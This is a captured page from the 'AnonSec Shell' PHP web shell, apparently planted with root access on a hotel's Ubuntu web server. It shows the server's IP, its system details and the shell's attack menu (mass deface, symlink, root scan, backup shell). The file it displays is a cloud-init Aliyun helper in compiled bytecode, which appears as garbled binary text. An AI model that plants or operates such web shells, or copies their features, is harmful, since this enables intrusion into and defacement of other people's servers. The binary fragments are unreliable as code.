AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/aliyun.cpython-310.pyc
o

x[h��@s�ddlZddlmZddlmZmZmZddlmZe�	e
�Z								ddd	�Z									dd
d�Z
			dd
d�ZdS)�N)�MutableMapping)�net�
url_helper�util)�ec2�latest�http://100.100.100.200�c	sPt�||�}t�|d�}tj|||||||d�}	t�|	j�}
�fdd���|
�S)Nz
meta-data/all��ssl_details�timeout�retries�exception_cb�
headers_cb�headers_redactcsJt|t�r�fdd�|��D�St|t�r�fdd�|D�St��d|�S)Ncsi|]	\}}|�|��qS�r)�.0�k�v��_process_dict_valuesr�B/usr/lib/python3/dist-packages/cloudinit/sources/helpers/aliyun.py�
<dictcomp>WszHget_instance_meta_data.<locals>._process_dict_values.<locals>.<dictcomp>csg|]}�|��qSrr)r�itemrrr�
<listcomp>YszHget_instance_meta_data.<locals>._process_dict_values.<locals>.<listcomp>�)�
isinstance�dict�items�listr�MetadataLeafDecoder)�drrrrUs


z4get_instance_meta_data.<locals>._process_dict_values)r�combine_url�read_file_or_urlr�	load_json�contents)�api_version�metadata_addressrrr
rrr�ud_url�response�
meta_data_rawrrr�get_instance_meta_datas
�	4r+c	
	Cs�t�||�}	t�|	|�}	d}
ddg}||vrt�d|�|
Sztj|	||||||d�}|j}
W|
StyBt�td||	�Y|
Sw)N�z	user-datazvendor-dataz*aliyun datasource not support the item  %sr
zFailed fetching %s from url %s)	rr"�LOG�errorr#r%�	Exceptionr�logexc)
r&r'rrr
rrr�	item_namer(�data�support_items_listr)rrr�get_instance_data`s4��	��r4TcCs�did�}|st��}|dd}|sC|��D]
\}}||kr!nqddd|��i|d�}|�|�}	|	�d	�r;d|d
<||d|<|St�}
|��D]\}}|�|�}	|	sVqJ||
|<qJt|
��tjd�}t	|�D]4\}}|
|}
|�|
�}	d
|ddi}d|dd|
��i|d�}|	�d	�r�d|d
<||d<||d|<qht
|d�dkr�|d��D])}|d|�d�|d|�dd�|d|�dd�|d|�dd�q�|S)a�Convert ecs metadata to network config version 2 data dict.

    @param: network_md: 'network' portion of ECS metadata.
    generally formed as {"interfaces": {"macs": {}} where
    'macs' is a dictionary with mac address as key:
    @param: macs_to_nics: Optional dict of mac addresses and nic names. If
    not provided, get_interfaces_by_mac is called to get it from the OS.
    @param: fallback_nic: Optionally provide the primary nic interface name.
    This nic will be guaranteed to minimally have a dhcp4 configuration.
    @param: full_network_config: Boolean set True to configure all networking
    presented by IMDS. This includes rendering secondary IPv4 and IPv6
    addresses on all NICs and rendering network config on secondary NICs.
    If False, only the primary nic will be configured and only with dhcp
    (IPv4/IPv6).

    @return A dict of network config version 2 based on the metadata and macs.
    �)�version�	ethernets�
interfaces�macsTF�
macaddress)�dhcp4�dhcp6�match�set-name�ipv6sr<r7)�keyzroute-metric��d)r;�dhcp4-overridesr<r=r>zdhcp6-overridesrCN�routeszrouting-policy)r�get_interfaces_by_macr�lower�getr�sorted�keys�natural_sort_key�	enumerate�len�pop)�
network_md�macs_to_nics�fallback_nic�full_network_config�netcfg�
macs_metadata�mac�nic_name�
dev_config�nic_metadata�nic_name_2_mac_map�orderd_nic_name_list�nic_idx�nic_mac�
dhcp_overriderrr�#convert_ecs_metadata_network_config�sb
�
�




�

�
r])rrNr	r	NNN)	rrNr	r	NNNN)NNT)�logging�typingr�	cloudinitrrr�cloudinit.sources.helpersr�	getLogger�__name__r-r+r4r]rrrr�<module>s8

�U
�'�

Anon7 - 2022
AnonSec Team